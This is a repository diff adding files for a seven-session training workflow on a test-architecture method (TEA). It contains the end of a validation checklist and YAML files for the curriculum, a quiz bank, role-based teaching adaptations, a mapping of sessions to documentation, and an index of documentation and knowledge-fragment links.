- [ ] **step-03-session-menu.md** displays all 7 sessions
- [ ] Completion indicators shown (✓ completed, 🔄 in-progress, ⬜ not-started)
- [ ] Branching logic routes to selected session (1-7)
- [ ] Exit logic (X) routes to completion if all done, otherwise saves and exits
### Session Steps (1-7)
- [ ] Each session loads relevant TEA docs just-in-time
- [ ] Teaching content presented (mostly autonomous)
- [ ] Quiz validation with ≥70% threshold
- [ ] Session notes artifact generated
- [ ] Progress file updated (status, score, artifact path)
- [ ] Returns to session menu hub after completion
### Completion Step
- [ ] **step-05-completion.md** verifies all 7 sessions complete
- [ ] Certificate generated with accurate data
- [ ] Final progress file update (certificate_generated: true)
- [ ] Congratulations message shown
---
## Data File Quality
- [ ] **curriculum.yaml** defines all 7 sessions
- [ ] **role-paths.yaml** maps role customizations
- [ ] **session-content-map.yaml** references TEA docs/fragments/URLs correctly
- [ ] **quiz-questions.yaml** has questions for all sessions
- [ ] **tea-resources-index.yaml** has complete documentation index
---
## Content Quality
### TEA Documentation Integration
- [ ] Local file paths correct (`/docs/*.md`, `/src/testarch/knowledge/*.md`)
- [ ] Online URLs correct (<https://bmad-code-org.github.io/...>)
- [ ] GitHub fragment links correct
- [ ] Triple reference system (local + online + GitHub) implemented
### Role-Based Content
- [ ] QA examples present (practical testing focus)
- [ ] Dev examples present (integration/TDD focus)
- [ ] Lead examples present (architecture/patterns focus)
- [ ] VP examples present (strategy/metrics focus)
### Quiz Quality
- [ ] Questions test understanding, not memorization
- [ ] 3-5 questions per session
- [ ] Mix of difficulty levels
- [ ] Clear correct answers with explanations
---
## Error Handling
- [ ] Corrupted progress file detection
- [ ] Backup and recovery options
- [ ] Missing TEA docs fallback (Web-Browsing)
- [ ] Quiz failure recovery (review or continue)
- [ ] Session interruption handling (auto-save)
---
## User Experience
- [ ] Clear navigation instructions
- [ ] Progress visibility (completion percentage, next recommended)
- [ ] Auto-save after each session
- [ ] Resume capability works seamlessly
- [ ] Exit options clear at all decision points
---
## State Management
- [ ] stepsCompleted array updated correctly
- [ ] Session tracking accurate (status, dates, scores)
- [ ] Completion percentage calculated correctly
- [ ] Next recommended session logic works
- [ ] lastStep and lastContinued timestamps updated
---
## Validation Mode
- [ ] **step-v-01-validate.md** checks all quality standards
- [ ] Generates validation report
- [ ] Identifies issues clearly
- [ ] Provides remediation suggestions
---
## Edit Mode
- [ ] **step-e-01-assess-workflow.md** identifies what to edit
- [ ] **step-e-02-apply-edits.md** applies modifications safely
- [ ] Preserves workflow integrity during edits
---
## Documentation
- [ ] **instructions.md** clear and complete
- [ ] **checklist.md** (this file) comprehensive
- [ ] README (if present) accurate
- [ ] Inline comments in complex logic
---
## Performance
- [ ] Just-in-time loading (not loading all docs upfront)
- [ ] Session steps complete in reasonable time (<5 min)
- [ ] Quiz validation fast (<1 min)
- [ ] Progress file writes efficient
---
## Security
- [ ] No hardcoded credentials
- [ ] File paths use variables
- [ ] Progress files private to user
- [ ] No sensitive data in session notes
---
## Completion Criteria
**Workflow is ready for deployment when:**
- All checkboxes above are checked
- All step files exist and follow standards
- All templates present and correct
- Data files complete and accurate
- Error handling robust
- User experience smooth
- Documentation complete
---
**Validation Date:** **\*\***\_\_\_**\*\***
**Validated By:** **\*\***\_\_\_**\*\***
**Issues Found:** **\*\***\_\_\_**\*\***
**Status:** Ready for Production | Needs Revisions

View File

@@ -0,0 +1,129 @@
# TEA Academy Curriculum Structure
# Defines the 7-session learning path with objectives and content mappings
sessions:
- id: session-01-quickstart
name: "Quick Start"
duration: "30 min"
difficulty: beginner
objective: "Get immediate value by seeing TEA in action"
description: "TEA Lite intro, run automate workflow, understand engagement models"
recommended_for:
- beginner
- intermediate
- experienced
prerequisites: []
- id: session-02-concepts
name: "Core Concepts"
duration: "45 min"
difficulty: beginner
objective: "Understand WHY behind TEA principles"
description: "Risk-based testing, DoD, testing as engineering philosophy"
recommended_for:
- beginner
- intermediate
prerequisites: []
- id: session-03-architecture
name: "Architecture & Patterns"
duration: "60 min"
difficulty: intermediate
objective: "Understand TEA patterns and architecture"
description: "Fixtures, network-first patterns, data factories, step-file architecture"
recommended_for:
- intermediate
- experienced
prerequisites:
- session-02-concepts
- id: session-04-test-design
name: "Test Design"
duration: "60 min"
difficulty: intermediate
objective: "Learn risk assessment and coverage planning"
description: "Test Design workflow, risk/testability assessment, coverage planning"
recommended_for:
- intermediate
- experienced
prerequisites:
- session-02-concepts
- id: session-05-atdd-automate
name: "ATDD & Automate"
duration: "60 min"
difficulty: intermediate
objective: "Generate tests with TDD red-green approach"
description: "ATDD workflow (red phase), Automate workflow, component TDD, API testing"
recommended_for:
- intermediate
- experienced
prerequisites:
- session-02-concepts
- id: session-06-quality-trace
name: "Quality & Trace"
duration: "45 min"
difficulty: intermediate
objective: "Audit quality and ensure traceability"
description: "Test Review (5 dimensions), Trace workflow, quality metrics"
recommended_for:
- intermediate
- experienced
prerequisites:
- session-02-concepts
- id: session-07-advanced
name: "Advanced Patterns"
duration: "ongoing"
difficulty: advanced
objective: "Deep-dive into specific knowledge fragments"
description: "Menu-driven exploration of 35 knowledge fragments organized by category"
recommended_for:
- experienced
prerequisites: []
# Learning Paths by Experience Level
learning_paths:
beginner:
recommended_sequence:
- session-01-quickstart
- session-02-concepts
- session-03-architecture
- session-04-test-design
- session-05-atdd-automate
- session-06-quality-trace
- session-07-advanced
skip_optional: []
intermediate:
recommended_sequence:
- session-01-quickstart
- session-02-concepts
- session-03-architecture
- session-04-test-design
- session-05-atdd-automate
- session-06-quality-trace
- session-07-advanced
skip_optional:
- session-01-quickstart # Can skip if already familiar
certificate_eligible_if_skipped: false
experienced:
recommended_sequence:
- session-02-concepts
- session-03-architecture
- session-04-test-design
- session-05-atdd-automate
- session-06-quality-trace
- session-07-advanced
skip_optional:
- session-01-quickstart
certificate_eligible_if_skipped: false
# Completion Requirements
completion:
minimum_sessions: 7 # All sessions required for certificate
passing_score: 70 # Minimum quiz score to pass session
average_score_threshold: 70 # Minimum average for certificate
certificate_note: "Certificate eligibility requires completion.minimum_sessions. If intermediate.skip_optional or experienced.skip_optional sessions are skipped, certificate eligibility is forfeited."

View File

@@ -0,0 +1,206 @@
# Quiz Questions Bank
# Organized by session with questions, answers, and explanations
session-01-quickstart:
passing_score: 70
questions:
- id: q1-purpose
question: "What is the primary purpose of TEA?"
options:
A: "Replace all testing tools with a single framework"
B: "Make testing expertise accessible through structured workflows and knowledge"
C: "Automate 100% of test writing"
D: "Only works for Playwright tests"
correct: B
explanation: "TEA makes testing expertise accessible and scalable through workflows and knowledge fragments. It's not about replacing tools or automating everything."
- id: q2-risk-matrix
question: "What does the P0-P3 risk matrix help with?"
options:
A: "Prioritizing test coverage based on criticality"
B: "Grading test code quality"
C: "Measuring test execution speed"
D: "Tracking bug severity"
correct: A
explanation: "P0-P3 helps prioritize what to test based on risk (Probability × Impact). P0 = critical features like login, P3 = nice-to-have like tooltips."
- id: q3-engagement
question: "Which TEA engagement model is best for quick value in 30 minutes?"
options:
A: "TEA Enterprise"
B: "TEA Lite"
C: "TEA Integrated"
D: "TEA Brownfield"
correct: B
explanation: "TEA Lite is the 30-minute quick start approach. Enterprise and Integrated are more comprehensive."
session-02-concepts:
passing_score: 70
questions:
- id: q1-p0-priority
question: "In the P0-P3 matrix, what priority level should login/authentication have?"
options:
A: "P3 - Low priority"
B: "P2 - Medium priority"
C: "P1 - High priority"
D: "P0 - Critical priority"
correct: D
explanation: "Login/authentication is P0 - critical. Business fails if broken. High usage, high impact, business-critical."
- id: q2-hard-waits
question: "What is the problem with using sleep(5000) instead of waitFor conditions?"
options:
A: "It makes tests slower"
B: "It's a hard wait that doesn't react to state changes (violates DoD)"
C: "It uses too much memory"
D: "It's not supported in modern frameworks"
correct: B
explanation: "Hard waits don't react to state changes - they guess timing. Use waitFor to react to conditions. This violates TEA Definition of Done."
- id: q3-self-cleaning
question: "What does 'self-cleaning tests' mean in TEA Definition of Done?"
options:
A: "Tests automatically fix their own bugs"
B: "Tests delete/deactivate entities they create during testing"
C: "Tests run faster by cleaning up code"
D: "Tests remove old test files"
correct: B
explanation: "Self-cleaning means tests delete/deactivate entities they created. No manual cleanup required."
session-03-architecture:
passing_score: 70
questions:
- id: q1-fixtures
question: "What is the main benefit of fixture composition?"
options:
A: "Faster test execution"
B: "DRY - define once, reuse everywhere"
C: "Better error messages"
D: "Automatic screenshot capture"
correct: B
explanation: "Fixture composition allows you to define setup once and reuse everywhere. DRY principle for test setup."
- id: q2-network-first
question: "Why is 'network-first' better than mocking after the action?"
options:
A: "It's faster"
B: "It prevents race conditions"
C: "It uses less memory"
D: "It's easier to write"
correct: B
explanation: "Setting up network interception BEFORE the action prevents race conditions. The mock is ready when the action triggers."
- id: q3-step-file
question: "What pattern does this teaching workflow use?"
options:
A: "Page Object Model"
B: "Behavior Driven Development"
C: "Step-File Architecture"
D: "Test Pyramid"
correct: C
explanation: "This workflow uses step-file architecture: micro-file design, just-in-time loading, sequential enforcement."
session-04-test-design:
passing_score: 70
questions:
- id: q1-test-design-purpose
question: "What does the Test Design workflow help you do?"
options:
A: "Write tests faster"
B: "Plan tests BEFORE writing them"
C: "Run tests in parallel"
D: "Debug test failures"
correct: B
explanation: "Test Design workflow helps you plan tests before writing them. Design before code, like architecture before implementation."
- id: q2-risk-calculation
question: "How do you calculate risk?"
options:
A: "Probability + Impact"
B: "Probability × Impact"
C: "Probability - Impact"
D: "Probability / Impact"
correct: B
explanation: "Risk = Probability × Impact. Multiply the likelihood of failure by the impact of failure."
- id: q3-p0-coverage
question: "For P0 features, which test levels should you use?"
options:
A: "Only E2E tests"
B: "Only unit tests"
C: "Unit + Integration + E2E (comprehensive)"
D: "Manual testing only"
correct: C
explanation: "P0 features need comprehensive coverage: Unit + Integration + E2E. High confidence for critical features."
session-05-atdd-automate:
passing_score: 70
questions:
- id: q1-red-phase
question: "What is the 'red' phase in TDD?"
options:
A: "Tests fail (code doesn't exist yet)"
B: "Tests pass"
C: "Code is refactored"
D: "Tests are deleted"
correct: A
explanation: "Red phase: Tests fail because the code doesn't exist yet. Write tests first, then implement."
- id: q2-atdd-vs-automate
question: "What's the difference between ATDD and Automate workflows?"
options:
A: "ATDD generates E2E, Automate generates API tests"
B: "ATDD writes tests first (red phase), Automate tests existing code"
C: "ATDD is faster than Automate"
D: "They're the same workflow"
correct: B
explanation: "ATDD writes failing tests first (red phase), then you implement. Automate generates tests for existing code (coverage expansion)."
- id: q3-api-testing
question: "Why use pure API tests without a browser?"
options:
A: "They look prettier"
B: "They're easier to debug"
C: "They're faster and test business logic directly"
D: "They're required by TEA"
correct: C
explanation: "Pure API tests are faster (no browser overhead) and test business logic directly without UI complexity."
session-06-quality-trace:
passing_score: 70
questions:
- id: q1-five-dimensions
question: "What are the 5 dimensions in Test Review workflow?"
options:
A: "Speed, cost, coverage, bugs, time"
B: "Determinism, Isolation, Assertions, Structure, Performance"
C: "Unit, integration, E2E, manual, exploratory"
D: "P0, P1, P2, P3, P4"
correct: B
explanation: "Test Review evaluates 5 dimensions: Determinism (no flakiness), Isolation (parallel-safe), Assertions (correct checks), Structure (readable/maintainable organization), Performance (speed)."
- id: q2-release-gate
question: "When should the Trace workflow gate decision be RED (block release)?"
options:
A: "Any test failures exist"
B: "P0 gaps exist (critical requirements not tested)"
C: "Code coverage is below 80%"
D: "Tests are slow"
correct: B
explanation: "RED gate when P0 gaps exist - critical requirements not tested. Don't ship if critical features lack test coverage."
- id: q3-metrics
question: "Which metric matters most for quality?"
options:
A: "Total line coverage %"
B: "Number of tests written"
C: "P0/P1 coverage %"
D: "Test file count"
correct: C
explanation: "P0/P1 coverage matters most - it measures coverage of critical/high-priority features. Total line coverage is a vanity metric."
session-07-advanced:
# No quiz - exploratory session
# Score: 100 (completion based, not quiz based)
passing_score: 100
questions: []

View File

@@ -0,0 +1,136 @@
# Role-Based Content Customization
# Defines how teaching examples and focus areas adapt based on learner role
roles:
qa:
display_name: "QA Engineer"
focus_areas:
- Practical testing workflow usage
- Test framework setup and maintenance
- Test quality and coverage metrics
- CI/CD integration
example_contexts:
- "Expanding test coverage for existing features"
- "Setting up test framework for new project"
- "Reducing flaky tests in CI pipeline"
- "Improving test execution speed"
recommended_sessions:
- session-01-quickstart
- session-02-concepts
- session-03-architecture
- session-05-atdd-automate
- session-06-quality-trace
teaching_adaptations:
session-01-quickstart: "Focus on Automate workflow - quickly expand coverage"
session-02-concepts: "Emphasize P0-P3 for defending coverage decisions"
session-03-architecture: "Fixture patterns for maintainable test suites"
session-04-test-design: "Test design for planning coverage expansion"
session-05-atdd-automate: "ATDD and Automate for test generation"
session-06-quality-trace: "Test Review for quality metrics reporting"
session-07-advanced: "Playwright Utils for advanced testing patterns"
dev:
display_name: "Software Developer"
focus_areas:
- Integration testing perspective
- TDD approach
- Test-driven development workflow
- Unit and integration tests
example_contexts:
- "Writing tests alongside feature development"
- "Using ATDD to drive implementation"
- "Integrating tests into development workflow"
- "Testing APIs and business logic"
recommended_sessions:
- session-01-quickstart
- session-02-concepts
- session-05-atdd-automate
- session-03-architecture
- session-04-test-design
teaching_adaptations:
session-01-quickstart: "Focus on ATDD - tests drive implementation"
session-02-concepts: "Connect DoD to code quality standards"
session-03-architecture: "Fixtures as code patterns, like dependency injection"
session-04-test-design: "Risk assessment before writing code"
session-05-atdd-automate: "Red-green-refactor TDD cycle"
session-06-quality-trace: "Test quality like code quality - refactoring applies"
session-07-advanced: "API testing patterns, component TDD"
lead:
display_name: "Tech Lead / Engineering Manager"
focus_areas:
- Test architecture decisions
- Team testing patterns
- Framework and tooling choices
- Quality standards enforcement
example_contexts:
- "Establishing team testing standards"
- "Choosing test architecture patterns"
- "Code review for test quality"
- "Scaling test automation across team"
recommended_sessions:
- session-01-quickstart
- session-03-architecture
- session-04-test-design
- session-06-quality-trace
- session-07-advanced
teaching_adaptations:
session-01-quickstart: "TEA as team standard - scalable patterns"
session-02-concepts: "DoD as code review checklist - enforce quality"
session-03-architecture: "Architecture patterns for team consistency"
session-04-test-design: "Test design as planning phase in development"
session-05-atdd-automate: "ATDD for team TDD adoption"
session-06-quality-trace: "Test Review for quality metrics and team standards"
session-07-advanced: "Step-file architecture, fixture patterns, CI governance"
vp:
display_name: "VP Engineering / Director"
focus_areas:
- Testing strategy and ROI
- Quality metrics that matter
- Team scalability
- Risk management through testing
example_contexts:
- "Justifying test automation investment"
- "Scaling testing across multiple teams"
- "Quality metrics for stakeholder reporting"
- "Risk mitigation through test coverage"
recommended_sessions:
- session-01-quickstart
- session-02-concepts
- session-04-test-design
- session-06-quality-trace
teaching_adaptations:
session-01-quickstart: "TEA scales testing without scaling headcount"
session-02-concepts: "Risk-based testing aligns engineering with business impact"
session-03-architecture: "Architecture patterns reduce maintenance costs"
session-04-test-design: "Test design makes risk visible to stakeholders"
session-05-atdd-automate: "ATDD reduces defect rates early"
session-06-quality-trace: "Quality metrics: P0/P1 coverage, not vanity metrics"
session-07-advanced: "Governance patterns, CI orchestration, NFR assessment"
# Role-Based Example Types
example_types:
qa:
- "Test suite maintenance scenarios"
- "Coverage expansion projects"
- "Flaky test debugging"
- "CI pipeline configuration"
dev:
- "Feature development with TDD"
- "API integration testing"
- "Unit test patterns"
- "Mocking and stubbing"
lead:
- "Team architecture decisions"
- "Code review scenarios"
- "Standard enforcement"
- "Tooling selection"
vp:
- "ROI calculations"
- "Quality dashboards"
- "Risk reporting"
- "Team scaling strategies"

View File

@@ -0,0 +1,207 @@
# Session Content Mapping
# Maps each session to specific TEA documentation, knowledge fragments, and online resources
base_paths:
tea_docs: "/docs"
tea_knowledge: "/src/testarch/knowledge"
online_base: "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise"
github_knowledge: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/tree/main/src/testarch/knowledge"
sessions:
session-01-quickstart:
docs:
- path: "/docs/tutorials/tea-lite-quickstart.md"
title: "TEA Lite Quickstart"
url: "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/tutorials/tea-lite-quickstart/"
- path: "/docs/explanation/tea-overview.md"
title: "TEA Overview"
url: "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/explanation/tea-overview/"
- path: "/docs/how-to/workflows/run-automate.md"
title: "Run Automate Workflow"
url: "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/how-to/workflows/run-automate/"
knowledge_fragments: []
online_references:
- "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/"
workflows_referenced:
- automate
key_concepts:
- "What is TEA"
- "TEA Lite approach"
- "Engagement models"
- "9 workflows overview"
session-02-concepts:
docs:
- path: "/docs/explanation/testing-as-engineering.md"
title: "Testing as Engineering"
url: "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/explanation/testing-as-engineering/"
- path: "/docs/explanation/risk-based-testing.md"
title: "Risk-Based Testing"
url: "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/explanation/risk-based-testing/"
- path: "/docs/explanation/test-quality-standards.md"
title: "Test Quality Standards"
url: "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/explanation/test-quality-standards/"
knowledge_fragments:
- path: "/src/testarch/knowledge/test-quality.md"
title: "Test Quality (DoD Execution Limits)"
- path: "/src/testarch/knowledge/probability-impact.md"
title: "Probability × Impact Scoring"
online_references:
- "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/explanation/testing-as-engineering/"
- "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/explanation/risk-based-testing/"
workflows_referenced: []
key_concepts:
- "Testing as engineering philosophy"
- "P0-P3 risk matrix"
- "Probability × Impact scoring"
- "Definition of Done (7 principles)"
session-03-architecture:
docs:
- path: "/docs/explanation/fixture-architecture.md"
title: "Fixture Architecture"
url: "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/explanation/fixture-architecture/"
- path: "/docs/explanation/network-first-patterns.md"
title: "Network-First Patterns"
url: "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/explanation/network-first-patterns/"
- path: "/docs/explanation/step-file-architecture.md"
title: "Step-File Architecture"
url: "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/explanation/step-file-architecture/"
knowledge_fragments:
- path: "/src/testarch/knowledge/fixture-architecture.md"
title: "Fixture Architecture Patterns"
- path: "/src/testarch/knowledge/network-first.md"
title: "Network-First Implementation"
- path: "/src/testarch/knowledge/data-factories.md"
title: "Data Factories Pattern"
online_references:
- "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/explanation/fixture-architecture/"
workflows_referenced:
- framework
key_concepts:
- "Fixture composition"
- "Network interception patterns"
- "Data factory pattern"
- "Step-file architecture"
session-04-test-design:
docs:
- path: "/docs/how-to/workflows/run-test-design.md"
title: "Run Test Design Workflow"
url: "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/how-to/workflows/run-test-design/"
knowledge_fragments:
- path: "/src/testarch/knowledge/test-levels-framework.md"
title: "Test Levels Framework"
- path: "/src/testarch/knowledge/test-priorities-matrix.md"
title: "Test Priorities Matrix"
online_references:
- "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/how-to/workflows/run-test-design/"
workflows_referenced:
- test-design
key_concepts:
- "Test Design workflow steps"
- "Risk/testability assessment"
- "Coverage planning"
- "Test levels (unit/integration/E2E)"
session-05-atdd-automate:
docs:
- path: "/docs/how-to/workflows/run-atdd.md"
title: "Run ATDD Workflow"
url: "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/how-to/workflows/run-atdd/"
- path: "/docs/how-to/workflows/run-automate.md"
title: "Run Automate Workflow"
url: "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/how-to/workflows/run-automate/"
knowledge_fragments:
- path: "/src/testarch/knowledge/component-tdd.md"
title: "Component TDD Red-Green Loop"
- path: "/src/testarch/knowledge/api-testing-patterns.md"
title: "API Testing Patterns"
- path: "/src/testarch/knowledge/api-request.md"
title: "API Request Utility"
online_references:
- "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/how-to/workflows/run-atdd/"
- "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/how-to/workflows/run-automate/"
workflows_referenced:
- atdd
- automate
key_concepts:
- "ATDD workflow (red phase)"
- "TDD red-green-refactor"
- "Automate workflow (coverage expansion)"
- "API testing without browser"
session-06-quality-trace:
docs:
- path: "/docs/how-to/workflows/run-test-review.md"
title: "Run Test Review Workflow"
url: "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/how-to/workflows/run-test-review/"
- path: "/docs/how-to/workflows/run-trace.md"
title: "Run Trace Workflow"
url: "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/how-to/workflows/run-trace/"
knowledge_fragments: []
online_references:
- "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/how-to/workflows/run-test-review/"
- "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/how-to/workflows/run-trace/"
workflows_referenced:
- test-review
- trace
key_concepts:
- "5 dimensions of test quality"
- "Quality scoring (0-100)"
- "Requirements traceability"
- "Release gate decisions"
session-07-advanced:
docs: []
knowledge_fragments:
categories:
testing_patterns:
- fixture-architecture.md
- network-first.md
- data-factories.md
- component-tdd.md
- api-testing-patterns.md
- test-healing-patterns.md
- selector-resilience.md
- timing-debugging.md
playwright_utils:
- api-request.md
- network-recorder.md
- intercept-network-call.md
- recurse.md
- log.md
- file-utils.md
- burn-in.md
- network-error-monitor.md
- contract-testing.md
browser_automation:
- playwright-cli.md
configuration_governance:
- playwright-config.md
- ci-burn-in.md
- selective-testing.md
- feature-flags.md
- risk-governance.md
quality_frameworks:
- test-quality.md
- test-levels-framework.md
- test-priorities-matrix.md
- nfr-criteria.md
auth_security:
- email-auth.md
- auth-session.md
- error-handling.md
online_references:
- "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/reference/knowledge-base/"
- "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/tree/main/src/testarch/knowledge"
workflows_referenced: []
key_concepts:
- "Menu-driven fragment exploration"
- "Just-in-time deep-dive learning"
- "35 knowledge fragments organized by category"

View File

@@ -0,0 +1,359 @@
# TEA Resources Index
# Comprehensive index of TEA documentation, knowledge fragments, and online resources
base_urls:
online_docs: "https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise"
github_repo: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise"
github_knowledge: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/tree/main/src/testarch/knowledge"
# Public Documentation (32 files)
documentation:
tutorials:
- name: "Getting Started with Test Architect"
local: "/docs/tutorials/tea-lite-quickstart.md"
online: "/tutorials/tea-lite-quickstart/"
description: "30-minute quick start guide to TEA Lite"
how_to_guides:
workflows:
- name: "Set Up Test Framework"
local: "/docs/how-to/workflows/setup-test-framework.md"
online: "/how-to/workflows/setup-test-framework/"
workflow: framework
- name: "Set Up CI Pipeline"
local: "/docs/how-to/workflows/setup-ci.md"
online: "/how-to/workflows/setup-ci/"
workflow: ci
- name: "Test Design"
local: "/docs/how-to/workflows/run-test-design.md"
online: "/how-to/workflows/run-test-design/"
workflow: test-design
- name: "ATDD"
local: "/docs/how-to/workflows/run-atdd.md"
online: "/how-to/workflows/run-atdd/"
workflow: atdd
- name: "Automate"
local: "/docs/how-to/workflows/run-automate.md"
online: "/how-to/workflows/run-automate/"
workflow: automate
- name: "Test Review"
local: "/docs/how-to/workflows/run-test-review.md"
online: "/how-to/workflows/run-test-review/"
workflow: test-review
- name: "Trace"
local: "/docs/how-to/workflows/run-trace.md"
online: "/how-to/workflows/run-trace/"
workflow: trace
- name: "NFR Assessment"
local: "/docs/how-to/workflows/run-nfr-assess.md"
online: "/how-to/workflows/run-nfr-assess/"
workflow: nfr-assess
customization:
- name: "Configure Browser Automation"
local: "/docs/how-to/customization/configure-browser-automation.md"
online: "/how-to/customization/configure-browser-automation/"
- name: "Integrate Playwright Utils with TEA"
local: "/docs/how-to/customization/integrate-playwright-utils.md"
online: "/how-to/customization/integrate-playwright-utils/"
brownfield:
- name: "Running TEA for Enterprise Projects"
local: "/docs/how-to/brownfield/use-tea-for-enterprise.md"
online: "/how-to/brownfield/use-tea-for-enterprise/"
- name: "Using TEA with Existing Tests"
local: "/docs/how-to/brownfield/use-tea-with-existing-tests.md"
online: "/how-to/brownfield/use-tea-with-existing-tests/"
explanation:
- name: "TEA Overview"
local: "/docs/explanation/tea-overview.md"
online: "/explanation/tea-overview/"
topics: ["Architecture", "Engagement models"]
- name: "Testing as Engineering"
local: "/docs/explanation/testing-as-engineering.md"
online: "/explanation/testing-as-engineering/"
topics: ["Philosophy", "Design principles"]
- name: "Engagement Models"
local: "/docs/explanation/engagement-models.md"
online: "/explanation/engagement-models/"
topics: ["Lite", "Solo", "Integrated", "Enterprise", "Brownfield"]
- name: "Risk-Based Testing"
local: "/docs/explanation/risk-based-testing.md"
online: "/explanation/risk-based-testing/"
topics: ["P0-P3 matrix", "Probability × Impact"]
- name: "Test Quality Standards"
local: "/docs/explanation/test-quality-standards.md"
online: "/explanation/test-quality-standards/"
topics: ["Definition of Done", "7 principles"]
- name: "Knowledge Base System"
local: "/docs/explanation/knowledge-base-system.md"
online: "/explanation/knowledge-base-system/"
topics: ["Fragment management", "35 fragments"]
- name: "Network-First Patterns"
local: "/docs/explanation/network-first-patterns.md"
online: "/explanation/network-first-patterns/"
topics: ["Network interception", "Race condition prevention"]
- name: "Fixture Architecture"
local: "/docs/explanation/fixture-architecture.md"
online: "/explanation/fixture-architecture/"
topics: ["Composition", "mergeTests pattern"]
- name: "Step-File Architecture"
local: "/docs/explanation/step-file-architecture.md"
online: "/explanation/step-file-architecture/"
topics: ["Micro-file design", "JIT loading", "Sequential enforcement"]
- name: "Subagent Architecture"
local: "/docs/explanation/subagent-architecture.md"
online: "/explanation/subagent-architecture/"
topics: ["Parallel execution", "Context optimization"]
reference:
- name: "Commands"
local: "/docs/reference/commands.md"
online: "/reference/commands/"
- name: "Configuration"
local: "/docs/reference/configuration.md"
online: "/reference/configuration/"
- name: "Knowledge Base"
local: "/docs/reference/knowledge-base.md"
online: "/reference/knowledge-base/"
github_link: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/tree/main/src/testarch/knowledge"
- name: "Troubleshooting"
local: "/docs/reference/troubleshooting.md"
online: "/reference/troubleshooting/"
# Knowledge Fragments (34 files)
knowledge_fragments:
testing_patterns:
- name: "fixture-architecture"
path: "/src/testarch/knowledge/fixture-architecture.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/fixture-architecture.md"
description: "Composable fixture patterns and mergeTests"
- name: "fixtures-composition"
path: "/src/testarch/knowledge/fixtures-composition.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/fixtures-composition.md"
description: "mergeTests composition patterns for combining utilities"
- name: "network-first"
path: "/src/testarch/knowledge/network-first.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/network-first.md"
description: "Network interception safeguards"
- name: "data-factories"
path: "/src/testarch/knowledge/data-factories.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/data-factories.md"
description: "Data seeding and setup patterns"
- name: "component-tdd"
path: "/src/testarch/knowledge/component-tdd.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/component-tdd.md"
description: "TDD red-green-refactor loop"
- name: "api-testing-patterns"
path: "/src/testarch/knowledge/api-testing-patterns.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/api-testing-patterns.md"
description: "Pure API testing without browser"
- name: "test-healing-patterns"
path: "/src/testarch/knowledge/test-healing-patterns.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/test-healing-patterns.md"
description: "Auto-fix common test failures"
- name: "selector-resilience"
path: "/src/testarch/knowledge/selector-resilience.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/selector-resilience.md"
description: "Robust selectors that don't break"
- name: "timing-debugging"
path: "/src/testarch/knowledge/timing-debugging.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/timing-debugging.md"
description: "Race condition fixes"
playwright_utils:
- name: "overview"
path: "/src/testarch/knowledge/overview.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/overview.md"
description: "Playwright Utils overview and installation"
- name: "api-request"
path: "/src/testarch/knowledge/api-request.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/api-request.md"
description: "Typed HTTP client with schema validation"
- name: "network-recorder"
path: "/src/testarch/knowledge/network-recorder.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/network-recorder.md"
description: "HAR record and playback"
- name: "intercept-network-call"
path: "/src/testarch/knowledge/intercept-network-call.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/intercept-network-call.md"
description: "Network spy and stub utilities"
- name: "recurse"
path: "/src/testarch/knowledge/recurse.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/recurse.md"
description: "Async polling for eventual consistency"
- name: "log"
path: "/src/testarch/knowledge/log.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/log.md"
description: "Test report logging utilities"
- name: "file-utils"
path: "/src/testarch/knowledge/file-utils.md"
